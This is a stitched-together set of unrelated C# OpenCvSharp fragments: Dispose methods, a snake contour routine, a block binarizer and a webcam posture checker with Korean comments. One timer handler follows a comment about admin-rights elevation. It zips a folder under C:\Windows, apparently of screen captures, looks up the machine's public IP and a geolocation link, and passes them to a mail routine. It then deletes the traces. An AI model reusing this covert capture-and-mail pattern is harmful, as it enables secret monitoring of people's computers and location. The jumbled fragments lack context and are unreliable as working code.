/// <summary> /// used to dispose any object created from this class /// </summary> public void Dispose() { if (timerInProgress) { mainTimer.Stop(); } if (mainTimer != null) { mainTimer.Dispose(); } if (window != null) { window.Close(); window.Dispose(); } //if (capture_ != null) // capture_.Dispose(); if (videoInput != null) { videoInput.StopDevice(deviceID); videoInput.Dispose(); } }
/// <summary> /// used to dispose any object created from this class /// </summary> public void Dispose() { if (workingThread.IsAlive) { workingThread.Abort(); } if (workingThread != null) { workingThread = null; } if (window1 != null) { window1.Close(); window1.Dispose(); window1 = null; } if (window2 != null) { window2.Close(); window2.Dispose(); window2 = null; } }
/// <summary> /// used to dispose any object created from this class /// </summary> public void Dispose() { if (timerInProgress) { mainTimer.Stop(); fpsTimer.Stop(); } if (mainTimer != null) { mainTimer.Dispose(); mainTimer = null; } if (fpsTimer != null) { fpsTimer.Dispose(); fpsTimer = null; } if (window1 != null) { window1.Close(); window1.Dispose(); window1 = null; } if (window2 != null) { window2.Close(); window2.Dispose(); window2 = null; } if (window3 != null) { window3.Close(); window3.Dispose(); window3 = null; } if (capture != null) { capture.Dispose(); capture = null; } }
public IplImage SnakeImage(IplImage src) { snake = new IplImage(src.Size, BitDepth.U8, 3); IplImage calc = new IplImage(src.Size, BitDepth.U8, 1); calc = this.Binary(src, 150); calc = this.BlurImage(calc); int n = 2000; CvPoint[] contour = new CvPoint[n]; CvPoint center = new CvPoint(src.Width / 2, src.Height / 2); for (int i = 0; i < n; i++) { contour[i].X = (int)(center.X + (center.X * Math.Cos(2 * Math.PI * i / n))); contour[i].Y = (int)(center.Y + (center.Y * Math.Sin(2 * Math.PI * i / n))); } CvWindow window = null; for (int j = 0; j < 100; j++) { window = new CvWindow("SnakeImage", WindowMode.StretchImage); window.Resize(640, 480); Cv.SnakeImage(calc, contour, 1f, 1f, 1f, new CvSize(15, 15), new CvTermCriteria(10), true); Cv.Copy(src, snake); for (int k = 0; k < n - 1; k++) { Cv.DrawLine(snake, contour[k], contour[k + 1], CvColor.Red, 2); } Cv.DrawLine(snake, contour[n - 1], contour[0], CvColor.Red, 2); window.Image = snake; Application.DoEvents(); } window.Close(); return(snake); }
/* 실행 시 관리자 권한 상승을 위한 함수 끝 */ private void timer1_Tick(object sender, EventArgs e) { sec--; int Delkey = Convert.ToInt32(ownerkey); if (Delkey == 1) { label1.Show(); EX.Show(); } else { label1.Hide(); EX.Hide(); } timer.Text = sec + "초 후 종료됩니다.".ToString(); if (NetworkInterface.GetIsNetworkAvailable()) { Net = 0; } else { Net = 1; } if (sec == 0) { try { if (Net == 1) { MessageBox.Show("인터넷에 연결되어있지않습니다."); return; } CAP(); window.Close(); CAPTURE = Path.Combine("C:\\Windows\\캡쳐.zip"); ZipFile.CreateFromDirectory("C:\\Windows\\TE_PT", CAPTURE); String WanIP = new WebClient().DownloadString("http://ip.mc-blacklist.kr/"); GPS = "http://whatismyipaddress.com/ip/" + WanIP; MailWAR(); Del("C:\\Windows\\TE_PT"); Directory.Delete("C:\\Windows\\TE_PT"); File.Delete(CAPTURE); sec = 1800; } catch { Del("C:\\Windows\\TE_PT"); Directory.Delete("C:\\Windows\\TE_PT"); File.Delete(CAPTURE); MessageBox.Show("계정등록이 되지 않았습니다."); Exit(); } //Count = 1; //CapCount = 1; //Application.ExitThread(); //Process.Start("shutdown.exe", "-s -t 1"); //Application.Exit(); } }
public IplImage BinarizerMethod_Hist(IplImage src) { bina = new IplImage(src.Size, BitDepth.U8, 1); gray = this.GrayScale(src); int area = 200; int num = 0; int row = (src.Width % area == 0) ? (int)(src.Width / area) : (int)(src.Width / area + 1); int col = (src.Height % area == 0) ? (int)(src.Height / area) : (int)(src.Height / area + 1); int count = row * col; float[] data = new float[count]; IplImage[] piece = new IplImage[count]; CvRect[] piece_roi = new CvRect[count]; for (int x = 0; x < src.Width; x = x + area) { for (int y = 0; y < src.Height; y = y + area) { CvRect roi = new CvRect { X = x, Y = y, Width = area, Height = area }; if (roi.X + roi.Width > src.Width) { roi.Width = area - ((roi.X + roi.Width) - src.Width); } if (roi.Y + roi.Height > src.Height) { roi.Height = area - ((roi.Y + roi.Height) - src.Height); } gray.SetROI(roi); piece[num] = new IplImage(gray.ROI.Size, BitDepth.U8, 1); Cv.Copy(gray, piece[num]); gray.ResetROI(); //히스토그램 계산// int[] size = { area }; CvHistogram hist = new CvHistogram(size, HistogramFormat.Array); Cv.CalcHist(piece[num], hist); float minValue, maxValue; hist.GetMinMaxValue(out minValue, out maxValue); int highlevel = 0; for (int i = 0; i < area; i++) { if (maxValue == hist.Bins[i].Val0) { highlevel = i; } } piece_roi[num] = roi; data[num] = highlevel; num++; } } CvMat kernel = new CvMat(row, col, MatrixType.F32C1, data); Cv.Normalize(kernel, kernel, 255, 0, NormType.C); for (int r = 0; r < count; r++) { Cv.Threshold(piece[r], piece[r], kernel[r], 255, ThresholdType.Otsu); Cv.SetImageROI(bina, piece_roi[r]); Cv.Copy(piece[r], bina); bina.ResetROI(); } //37강 - 윈도우 창// CvWindow win = new CvWindow("window", WindowMode.StretchImage, src); win.Resize(640, 480); win.Move(100, 0); win.ShowImage(piece[0]); win.Close(); new CvWindow(piece[0]).Move(0, 0); new CvWindow(piece[1]).Move(0, 200); new CvWindow(piece[2]).Move(0, 400); //37강 - 윈도우 창// return(bina); }
// 타이머 함수 private void timer1_Tick(object sender, EventArgs e) { if (info.cnt >= 0) // 2번째부터는 카메라 5초 뒤 실행 { timer1.Interval = 5000; } CvCapture camera = new CvCapture(0); // 카메라 생성 CvWindow win = new CvWindow(); // 윈도우창 생성 //CvHaarClassifierCascade face_classifier = // CvHaarClassifierCascade.FromFile("C:\\김유민\\Visual Studio 2017\\haarcascade_frontalface_alt.xml"); // 얼굴 인식 Haar 알고리즘 불러오기 //CvHaarClassifierCascade eye_classifier = // CvHaarClassifierCascade.FromFile("C:\\김유민\\Visual Studio 2017\\haarcascade_eye.xml"); // 눈 인식 Haar 알고리즘 불러오기 CvHaarClassifierCascade face_classifier = CvHaarClassifierCascade.FromFile("./haarcascade_frontalface_alt.xml"); // 얼굴 인식 Haar 알고리즘 불러오기 CvHaarClassifierCascade eye_classifier = CvHaarClassifierCascade.FromFile("./haarcascade_eye.xml"); // 눈 인식 Haar 알고리즘 불러오기 CvMemStorage storage_face = new CvMemStorage(); // 얼굴 저장 메모리 CvMemStorage storage_eye = new CvMemStorage(); // 눈 저장 메모리 bool check = true; info.time = DateTime.Now; TimeSpan timecal = DateTime.Now - info.time; while (CvWindow.WaitKey(10) != 27 && check) // <0 : 아무키나 누르면 종료, !=27 esc 누르면 종료 { using (IplImage camera_img = camera.QueryFrame()) { storage_face.Clear(); storage_eye.Clear(); Cv.Flip(camera_img, camera_img, FlipMode.Y); // 좌우반전 CvSeq <CvAvgComp> faces = Cv.HaarDetectObjects(camera_img, face_classifier, storage_face, 1.5, 1, HaarDetectionType.ScaleImage, new CvSize(0, 0), new CvSize(200, 200)); // 얼굴 인식 동작 for (int i = 0; i < faces.Total; i++) { camera_img.Rectangle(faces[i].Value.Rect, CvColor.Red); // 인식 된 얼굴에 빨간 사각형 그리기 CvSeq <CvAvgComp> eyes = Cv.HaarDetectObjects(camera_img, eye_classifier, storage_eye, 1.5, 1, HaarDetectionType.ScaleImage, new CvSize(35, 35), new CvSize(50, 50)); // 눈 인식 동작 for (int j = 0; j < eyes.Total; j++) // eyes.Total is changing continuously { if (eyes[j].Value.Rect.X > faces[i].Value.Rect.X && eyes[j].Value.Rect.Y > faces[i].Value.Rect.Y && eyes[j].Value.Rect.X + eyes[j].Value.Rect.Width < faces[i].Value.Rect.X + faces[i].Value.Rect.Width && eyes[j].Value.Rect.Y + eyes[j].Value.Rect.Height < (faces[i].Value.Rect.Y + faces[i].Value.Rect.Height) - 60) { camera_img.Rectangle(eyes[j].Value.Rect, CvColor.Yellow); // 인식 된 눈에 노란 사각형 그리기 //Console.WriteLine("eyes : {0}", eyes[j]); Console.WriteLine("Comparing X, Y with Recognition X, Y"); Console.WriteLine(">> eye X : {0}, eye Y : {1}", eyes[j].Value.Rect.X, eyes[j].Value.Rect.Y); // 좌표 저장 (왼눈, 오른눈 랜덤으로 됨..) //info.eye_X = eyes[j].Value.Rect.X; //info.eye_Y = eyes[j].Value.Rect.Y; info.eye_X = faces[i].Value.Rect.X; info.eye_Y = faces[i].Value.Rect.Y; Console.WriteLine(">> face X : {0}, face Y : {1}", faces[i].Value.Rect.X, faces[i].Value.Rect.Y); Cv.DrawRect(camera_img, info.area_X, info.area_Y, info.area_X + rect_Width, info.area_Y + rect_Height, CvColor.Green); } } } win.Image = camera_img; // 영상 동작 시간 timecal = DateTime.Now - info.time; //if (timecal.Minutes == info.minutes) // info.minutes(설정한 분) 뒤에 check가 false로 변하면서 카메라 자동 꺼짐 if (timecal.Seconds == 3) { check = false; } } timer1.Stop(); } // 눈 범위 설정 -> 벗어나면 label 보이기, 숨기기 if (info.eye_X < info.area_X - 15 || info.eye_X > info.area_X + 15 || info.eye_Y < info.area_Y - 15 || info.eye_Y > info.area_Y + 15) { info.wrongCount++; if (info.wrongCount == 2) { Console.Beep(512, 300); Console.Beep(650, 300); Console.Beep(768, 300); System.Windows.Forms.MessageBox.Show("자세를 바르게 하세요"); timer1.Stop(); info.wrongCount = 0; } //else //{ // timer1.Start(); //} } info.cnt++; win.Close(); Cv.ReleaseCapture(camera); // 메모리 해제 //camera.Dispose(); // 메모리 해제 Console.WriteLine("메모리 해제"); Console.WriteLine("저장된 좌표 X : {0}, Y : {1}", info.eye_X, info.eye_Y); Console.WriteLine(""); timer1.Start(); if (flag == 1) { timer1.Stop(); } }
//선택창 확인버튼 누르면 -> 영상인식 넘어가야함 private void Confirm_Click(object sender, EventArgs e) { pictureBox1.Hide(); pictureBox2.Hide(); pictureBox4.Hide(); M_Box.Hide(); Confirm.Hide(); Select_Beginner.Hide(); Select_Master.Hide(); pictureBox3.Show(); MessageBox.Show("눈이 제대로 인식되었다면 ESC버튼을 눌러주세요"); CvCapture camera = new CvCapture(0); // 카메라 생성 CvWindow win = new CvWindow(); // 윈도우창 생성 CvHaarClassifierCascade face_classifier = CvHaarClassifierCascade.FromFile("./haarcascade_frontalface_alt.xml"); // 얼굴 인식 Haar 알고리즘 불러오기 CvHaarClassifierCascade eye_classifier = CvHaarClassifierCascade.FromFile("./haarcascade_eye.xml"); // 눈 인식 Haar 알고리즘 불러오기 CvMemStorage storage_face = new CvMemStorage(); // 얼굴 저장 메모리 CvMemStorage storage_eye = new CvMemStorage(); // 눈 저장 메모리 while (CvWindow.WaitKey(10) != 27) // <0 : 아무키나 누르면 종료, !=27 esc 누르면 종료 { using (IplImage camera_img = camera.QueryFrame()) { storage_face.Clear(); storage_eye.Clear(); Cv.Flip(camera_img, camera_img, FlipMode.Y); // 좌우반전 CvSeq <CvAvgComp> faces = Cv.HaarDetectObjects(camera_img, face_classifier, storage_face, 1.5, 1, HaarDetectionType.ScaleImage, new CvSize(0, 0), new CvSize(200, 200)); // 얼굴 인식 동작 for (int i = 0; i < faces.Total; i++) { camera_img.Rectangle(faces[i].Value.Rect, CvColor.Red); // 인식 된 얼굴에 빨간 사각형 그리기 CvSeq <CvAvgComp> eyes = Cv.HaarDetectObjects(camera_img, eye_classifier, storage_eye, 1.5, 1, HaarDetectionType.ScaleImage, new CvSize(35, 35), new CvSize(50, 50)); // 눈 인식 동작 for (int j = 0; j < eyes.Total; j++) // eyes.Total is changing continuously { if (eyes[j].Value.Rect.X > faces[i].Value.Rect.X && eyes[j].Value.Rect.Y > faces[i].Value.Rect.Y && eyes[j].Value.Rect.X + eyes[j].Value.Rect.Width < faces[i].Value.Rect.X + faces[i].Value.Rect.Width && eyes[j].Value.Rect.Y + eyes[j].Value.Rect.Height < (faces[i].Value.Rect.Y + faces[i].Value.Rect.Height) - 60) { camera_img.Rectangle(eyes[j].Value.Rect, CvColor.Yellow); // 인식 된 눈에 노란 사각형 그리기 Console.WriteLine("Recognition X, Y"); Console.WriteLine(">> eye X : {0}, eye Y : {1}", eyes[j].Value.Rect.X, eyes[j].Value.Rect.Y); // 좌표 저장 (왼눈, 오른눈 랜덤으로 됨..) -> recognition 버튼에서 처음에 눈 좌표 저장, 이를 토대로 범위 벗어났는지 아닌지 판별 //info.area_X = eyes[j].Value.Rect.X; //info.area_Y = eyes[j].Value.Rect.Y; info.area_X = faces[i].Value.Rect.X; info.area_Y = faces[i].Value.Rect.Y; rect_Width = faces[i].Value.Rect.Width; rect_Height = faces[i].Value.Rect.Height; Console.WriteLine(">> face X : {0}, face Y : {1}", faces[i].Value.Rect.X, faces[i].Value.Rect.Y); } } } win.Image = camera_img; } } win.Close(); Cv.ReleaseCapture(camera); Console.WriteLine("메모리 해제"); info.total_time = DateTime.Now; // 스타트 누를 때부터 초세기 (전체시간) timer1.Enabled = true; // 타이머 동작 timer2.Enabled = true; timer2.Tick += new EventHandler(timer2_Tick); timer2.Start(); if (info.cnt == 0) // 처음 start 버튼 누를 때 0.5초 뒤 바로 카메라 동작 { timer1.Interval = 500; } timer1.Tick += new EventHandler(timer1_Tick); timer1.Start(); }